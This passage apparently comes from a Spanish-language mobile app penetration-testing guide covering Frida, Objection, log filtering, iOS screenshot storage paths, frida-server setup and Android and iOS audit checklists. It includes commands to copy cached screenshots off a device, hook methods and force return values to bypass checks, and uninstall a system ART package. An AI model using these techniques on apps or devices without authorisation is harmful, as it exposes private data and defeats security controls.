WHERE  hex(lower(receiver_data)) LIKE '%'||hex(lower('<word-1>'))||'%'
OR     hex(lower(receiver_data)) LIKE '%'||hex(lower('<word-2>'))||'%'
OR     hex(lower(receiver_data)) LIKE '%'||hex(lower('<word-3>'))||'%'
OR     hex(lower(receiver_data)) LIKE '%'||hex(<number-1>)||'%'
OR     hex(lower(receiver_data)) LIKE '%'||hex(<number-2>)||'%'
OR     hex(lower(receiver_data)) LIKE '%'||hex(<number-3>)||'%'
```


# Screenshots

Con la finalidad de proporcionar a los usuarios una experiencia estéticamente agradable al iniciar o salir de una aplicación móvil, se implementó el concepto de almacenar una "captura de pantalla" (screenshot) cuando la aplicación pasa a segundo plano (background). Es importante tener en cuenta que esta característica conlleva un riesgo potencial para la seguridad, ya que las capturas de pantalla, que podrían contener información confidencial, se guardan en el almacenamiento local del dispositivo. Estas imágenes pueden ser recuperadas por una aplicación fraudulenta mediante un exploit de "sandbox bypass" o alguien que roba el dispositivo.

El directorio de almacenamiento puede variar en cada versión de iOS, pero generalmente está dentro del directorio "Library" de la aplicación móvil.

```sh
# iOS 12.5.5
/var/mobile/Containers/Data/Application/<app-ID>/Library/Caches/Snapshots/<package-name>/
# iOS 14.5
/var/mobile/Containers/Data/Application/<app-ID>/Library/SplashBoard/Snapshots/
```

Exportar screenshots desde el dispositivo.

```sh
scp <user>@<device-ip-address>:/var/mobile/Containers/Data/Application/<app-ID>/Library/Caches/Snapshots/<package-name>/* <destination-directory>
```


# Frida

Verifica si el runtime de Objective-C se encuentra cargado en el proceso actual de la aplicación.

```shell
ObjC.available
```

Obtener clases de la aplicación.

```shell
ObjC.classes
```

Obtener métodos de una clase.

```shell
# Obtener todos los métodos de una clase
ObjC.classes.<class-name>.$ownMethods
ObjC.classes["<class-name>"].$ownMethods

# Obtener los 5 primeros métodos de una clase
ObjC.classes.<class-name>.$ownMethods.slice(0, 5)
ObjC.classes["<class-name>"].$ownMethods.slice(0, 5)
```

Lectura de argumentos.

```javascript
var args0 = ObjC.Object(args[0]); // seft
var args1 = ObjC.Object(args[1]); // selector
var args2 = ObjC.Object(args[2]); // argumento 1
var args3 = ObjC.Object(args[3]); // argumento 2

console.log("- args0: " + args0.toString());
console.log("- args1: " + args1.toString());
console.log("- args2: " + args2.toString());
console.log("- args3: " + args3.toString());
```

Lectura de dirección de memoria.

```shell
Memory.readByteArray(ptr("<address>"), <length>);
Memory.readByteArray(ptr("0x00000000"), 64);

Memory.readCString(ptr("<address>"), <length>);
Memory.readCString(ptr("0x00000000"), 64);

Memory.readCString(ptr("<address>"), <length>).substring(<start>,<end>);
```


# Logs

## Frida iOS hook

Visualización y filtrado de logs.

```shell
./ioshook --logcat
./ioshook --logcat | grep <company-name>
./ioshook --logcat | grep -Ei "<word-1>|<word-2>|<word-3>"
```

Registro y visualización de logs.

```shell
./ioshook --logcat | grep --line-buffered -Ei "<word-1>|<word-2>|<word-3>" >> logs.txt
tail -f logs.txt
```

## idevicesyslog

Visualización y filtrado de logs.

```shell
idevicesyslog
idevicesyslog --process <PID>
idevicesyslog | grep -Ei "<word-1>|<word-2>|<word-3>"
idevicesyslog --process <PID> | grep -Ei "<word-1>|<word-2>|<word-3>"
```

Registro y visualización de logs.

```shell
idevicesyslog --process <PID> | grep --line-buffered -Ei "<word-1>|<word-2>|<word-3>" >> logs.txt
tail -f logs.txt
```


# Hooking

## Objection

Obtener clases de la aplicación.

```shell
ios hooking list classes

objection --gadget <app-package-name> run "ios hooking list classes" > clasess.txt
objection --gadget <app-package-name> run "ios hooking list classes" | grep -Ei "<word-1>|<word-2>|<word-3>"
```

Buscar clases en la aplicación.

```shell
ios hooking search classes <class-name>
```

Obtener métodos de una clase.

```shell
ios hooking list class_methods <class-name>
```

Monitorear ejecución de una clase.

```
ios hooking watch class <class-name>
```

Monitorear ejecución de un método (argumentos, traza y valor de retorno).

```shell
ios hooking watch method "-[<class-name> <method-name>]" --dump-args --dump-backtrace --dump-return
```

Modificar el valor de retorno (booleano) de una función.

```shell
ios hooking set return_value "-[<class-name> <method-name>]" <true/false>
```

Generar hooking template de una clase.

```shell
ios hooking generate simple <class-name>

objection --gadget <app-package-name> run "ios hooking generate simple <class-name>" > template.js
```


# Herramientas

## App Store de terceros

### Cydia

* <https://www.cydiacloud.com/>

### Sileo

* <https://getsileo.app/>

## File manager

### Filza file manager

* <https://www.tigisoftware.com/>

## Frida

* <https://frida.re/>

## Frida iOS hook

* <https://github.com/noobpk/frida-ios-hook>

## Grapefruit

* <https://github.com/ChiChou/grapefruit>

## idevicesyslog

* <https://libimobiledevice.org/>

## Keychain Dumper

* <https://github.com/ptoomey3/Keychain-Dumper>

## Mirroring

### Wormhole / Blackhole

* <https://er.run/>
* <https://er.run/blackhole>

## Mobile Security Framework (MobSF)

* <https://github.com/MobSF/Mobile-Security-Framework-MobSF>

## Objection

* <https://github.com/sensepost/objection/>

## Runtime Mobile Security (RMS)

* <https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security>


# Frida

https\://frida.re/

## Instalación y configuración

Instalación de Frida.

```shell
# Instalación de Frida sin entorno virtual de Python
pip3 install frida-tools

# Instalación de Frida en entorno virtual de Python
mkdir frida && cd frida
python -m venv venv-frida
source venv-frida/bin/activate
pip3 install frida-tools

# Instalar la versión del cliente Frida correspondiente a la del servidor Frida
pip3 install frida-tools
pip3 install frida==<version-frida-server>
```

Obtener versión de Frida instalado.

```shell
frida --version
```

### Android

1\) Descargar Frida-server según la arquitectura del dispositivo Android y versión de Frida instalada previamente.

* <https://github.com/frida/frida/releases>

```shell
# Obtener arquitectura del dispositivo Android
adb shell getprop ro.product.cpu.abi
```

2\) Descomprimir y renombrar Frida-server.

```shell
unxz <frida-server.xz>
mv <frida-server> frida-server
```

3\) Transferencia de Frida-server al dispositivo Android y asignación de privilegios.

```shell
adb push frida-server /data/local/tmp/
adb shell "su -c chmod 755 /data/local/tmp/frida-server"
```

4\) Ejecución de Frida-server.

```shell
adb devices -l

# Iniciar Frida-server para conexión desde el dispositivo vía USB
adb shell "su -c /data/local/tmp/frida-server &"
# Iniciar Frida-server para conexión remota
adb shell "su -c /data/local/tmp/frida-server -l <device-IP-address> &"
```

#### Troubleshooting <a href="#android-troubleshooting" id="android-troubleshooting"></a>

1\) Error "Unable to find copied methods in java/lang/Thread"

Si al iniciar Frida-server se obtiene el siguiente error:

{% code overflow="wrap" %}

```json
{"type":"error","description":"Error: Unable to find copied methods in java/lang/Thread; please file a bug","stack":"Error: Unable to find copied methods in java/lang/Thread; please file a bug\n at /internal-agent.js:1:47232\n at Ie.perform (/internal-agent.js:1:25891)\n at Gn (/internal-agent.js:1:45951)\n at Md (/internal-agent.js:1827:1640)\n at Uo (/internal-agent.js:1827:1258)\n at Function.build (/internal-agent.js:1827:85)\n at t._make (/internal-agent.js:1828:18234)\n at t.use (/internal-agent.js:1828:17033)\n at /internal-agent.js:1837:6963\n at Ie.perform (/internal-agent.js:1:25891)","fileName":"/internal-agent.js","lineNumber":1,"columnNumber":47232}
```

{% endcode %}

Solución:

1\) Desinstalar el paquete `com.google.android.art`.

{% code overflow="wrap" %}

```shellscript
adb shell pm uninstall com.google.android.art
```

{% endcode %}

2\) Reiniciar el dispositivo móvil.

3\) Volver a iniciar Frida-server.

### iOS

#### Cydia (App Store de tercero)

1\) Agregar repositorio de Frida a Cydia (App Store de tercero).

* Cydia -> Fuentes -> Editar -> Añadir -> <https://build.frida.re> -> Añadir fuente

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2F4yTgnfbp2Eh4lmTApQEe%2Fagregar-repo-frida-cydia.png?alt=media&amp;token=d219a3b6-1c8d-4c34-b724-fe359ba91bb2" alt=""><figcaption></figcaption></figure>

2\) Instalar Frida en el dispositivo desde Cydia (App Store de tercero).

* Cydia -> Buscar -> Frida -> Instalar

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FRlzMnWaGloY1IVdGV3GN%2Finstalacion-frida-cydia.png?alt=media&amp;token=9806095c-fedd-426a-81c4-d0ce2e92cab0" alt=""><figcaption></figcaption></figure>

#### Manual

1\) Conexión SSH al dispositivo.

```shell
ssh root@<device-ip-address>
```

2\) Descarga de Frida-server.

* <https://github.com/frida/frida/releases>

```shell
cd /tmp/
wget https://github.com/frida/frida/releases/download/<version>/frida_<version>_iphoneos-arm.deb
```

3\) Instalación de Frida-server.

```shell
dpkg -i frida_<version>_iphoneos-arm.deb
```

4\) Ejecución de Frida-server para conexión remota.

```shell
# Establecer dirección IP a Frida-server en dispositivo (listen)
frida-server -l <device-IP-address>
```

## Comprobación de ejecución correcta de Frida-server

```shell
# Conectarse a Frida-server desde el dispositivo vía USB
# y listar procesos en ejecución
frida-ps -U

# Conectarse remotamente a Frida-server y listar procesos en ejecución
frida-ps -H <device-IP-address>
```

## Comandos generales

```shell
# Listar dispositivos
frida-ls-devices

# Listar procesos en ejecución
frida-ps -U
frida-ps -H <device-IP-address>

# Listar aplicaciones en ejecución
frida-ps -Ua
frida-ps -H <device-IP-address> -a

# Listar aplicaciones instaladas
frida-ps -Uai
frida-ps -H <device-IP-address> -ai

# Iniciar un nuevo proceso / aplicación (spawning)
frida -U -f <app-package-name>
frida -H <device-IP-address> -f <app-package-name>

# Atachar a un proceso / aplicación (attaching)
frida -U <app-name>
frida -U -p <PID>
frida -U -F <app-package-name>
frida -H <device-IP-address> <app-name>
frida -H -p <PID>
frida -H <device-IP-address> -F <app-package-name>
```

* -U = conectarse a Frida-server desde el dispositivo vía USB.
* -H = conectarse remotamente a Frida-server.

## Frida CodeShare

* <https://codeshare.frida.re/>


# Frida Gadget

https\://frida.re/docs/gadget/

## Android

### Objection

```sh
objection patchapk --source application.apk
```


# Objection

https\://github.com/sensepost/objection/

## Instalación y actualización

Instalación de Objection.

```shell
# Instalación de Objection sin entorno virtual de Python
pip3 install objection

# Instalación de Objection en entorno virtual de Python
mkdir objection && cd objection
python -m venv venv-objection
source venv-objection/bin/activate
pip3 install objection
```

Obtener versión de Objection instalado.

```shell
objection version
```

Realizar actualización de Objection.

```shell
pip3 install --upgrade objection
```

## Comandos generales

Iniciar un nuevo proceso / aplicación (spawning).

```shell
# Versión antigua (2021)
objection --gadget <app-package-name> explore
objection -N -h <device-IP-address> --gadget <app-package-name> explore

# Versión actual
objection -N -h <device-IP-address> --spawn --name <app-package-name> --no-pause start
```

Atachar a un proceso / aplicación (attaching).

```shell
# Versión antigua (2021)
objection --gadget <process-ID> explore
objection --gadget $(frida-ps -U -a | grep <app-package-name> | awk '{print $1}') explore

objection -N -h <device-IP-address> --gadget <process-ID> explore
objection -N -h <device-IP-address> --gadget $(frida-ps -H <device-IP-address> -a | grep <app-package-name> | awk '{print $1}') explore

# Versión actual
objection -N -h <device-IP-address> --name <app-package-name> start
```

Obtener información de environment.

```shell
env
```


# Android application penetration testing

## Análisis estático

* [ ] Puntos de entrada/inicialización
  * [ ] [android.intent.action.MAIN & android.intent.category.LAUNCHER](https://mobile.mrw0l05zyn.cl/checklist/pages/drNLAXZDO1VhH4x0cEi8#android.intent.action.main-and-android.intent.category.launcher)
  * [ ] [Custom application class](/android/analisis-estatico/androidmanifest.xml#custom-application-class)
* [ ] Superficie de ataque

{% code fullWidth="false" %}

```sh
# Mango
show exposure
# Drozer
run app.package.attacksurface <app-package-name>
```

{% endcode %}

* [ ] [AndroidManifest.xml](/android/analisis-estatico/androidmanifest.xml)
  * [ ] [Versiones de Android compatibles](/android/analisis-estatico/androidmanifest.xml#versiones-de-android-compatibles)
  * [ ] [Depuración](/android/analisis-estatico/androidmanifest.xml#depuracion)
  * [ ] [Copia de seguridad](/android/analisis-estatico/androidmanifest.xml#copia-de-seguridad)
  * [ ] [Permisos](/android/analisis-estatico/androidmanifest.xml#permisos)
  * [ ] [Activity](/android/analisis-estatico/androidmanifest.xml#activity)
  * [ ] [Broadcast receiver](/android/analisis-estatico/androidmanifest.xml#broadcast-receiver)
  * [ ] [Content providers](/android/analisis-estatico/androidmanifest.xml#content-providers)
  * [ ] [Services](/android/analisis-estatico/androidmanifest.xml#services)
  * [ ] [Funcionalidades exportadas](/android/analisis-estatico/androidmanifest.xml#funcionalidades-exportadas)
* [ ] [Network security config](/android/analisis-estatico/network-security-config)
* [ ] [Directorios y archivos](/android/analisis-estatico/directorios-y-archivos)
* [ ] [Patrones y palabras claves en el código](/android/analisis-estatico/patrones-y-palabras-claves-en-el-codigo)
* [ ] [Análisis estático automatizado](/android/analisis-estatico/automatizado)

## Análisis dinámico

* [ ] [Activities](/android/analisis-dinamico/activities)
* [ ] [Broadcast receivers](/android/analisis-dinamico/broadcast-receivers)
* [ ] [Deep links](/android/analisis-dinamico/deep-links)
* [ ] [Content providers](/android/analisis-dinamico/content-providers)
* [ ] [Services](/android/analisis-dinamico/services)
* [ ] [Anti-root](/android/analisis-dinamico/anti-root)
* [ ] [Captura de tráfico de red](/android/analisis-dinamico/captura-de-trafico-de-red)
  * [ ] [Burp Suite](/android/analisis-dinamico/captura-de-trafico-de-red/burp-suite)
  * [ ] [SSL Pinning](/android/analisis-dinamico/captura-de-trafico-de-red/ssl-pinning)
* [ ] [Almacenamiento de datos](/android/analisis-dinamico/almacenamiento-de-datos)
  * [ ] [SD card](/android/analisis-dinamico/almacenamiento-de-datos/sd-card)
  * [ ] [SharedPreferences](/android/analisis-dinamico/almacenamiento-de-datos/sharedpreferences)
  * [ ] [Bases de datos](/android/analisis-dinamico/almacenamiento-de-datos/bases-de-datos)
  * [ ] Screenshots
* [ ] [Logs](/android/analisis-dinamico/logs)
* [ ] [WebViews](/android/analisis-dinamico/webviews)


# iOS application penetration testing

## Análisis estático

* [ ] [Archivo IPA](/ios/analisis-estatico/archivo-ipa)
* [ ] [Info.plist](/ios/analisis-estatico/info.plist)
  * [ ] [App Transport Security (ATS)](/ios/analisis-estatico/info.plist#app-transport-security-ats)
* [ ] [Análisis estático automatizado](/ios/analisis-estatico/automatizado)

## Análisis dinámico

* [ ] [Anti-jailbreak](/ios/analisis-dinamico/anti-jailbreak)
* [ ] [Biometría](/ios/analisis-dinamico/biometria)
* [ ] Captura de tráfico de red
  * [ ] [Burp Suite](/ios/analisis-dinamico/captura-de-trafico-de-red/burp-suite)
  * [ ] [SSL Pinning](/ios/analisis-dinamico/captura-de-trafico-de-red/ssl-pinning)
* [ ] Almacenamiento de datos
  * [ ] [Archivos Property List (PList)](/ios/analisis-dinamico/almacenamiento-de-datos/archivos-property-list-plist)
  * [ ] [NSUserDefaults](/ios/analisis-dinamico/almacenamiento-de-datos/nsuserdefaults)
  * [ ] [Keychain](/ios/analisis-dinamico/almacenamiento-de-datos/keychain)
  * [ ] [Cache.db](/ios/analisis-dinamico/almacenamiento-de-datos/cache.db)
  * [ ] [Screenshots](/ios/analisis-dinamico/almacenamiento-de-datos/screenshots)
* [ ] [Logs](/ios/analisis-dinamico/logs)


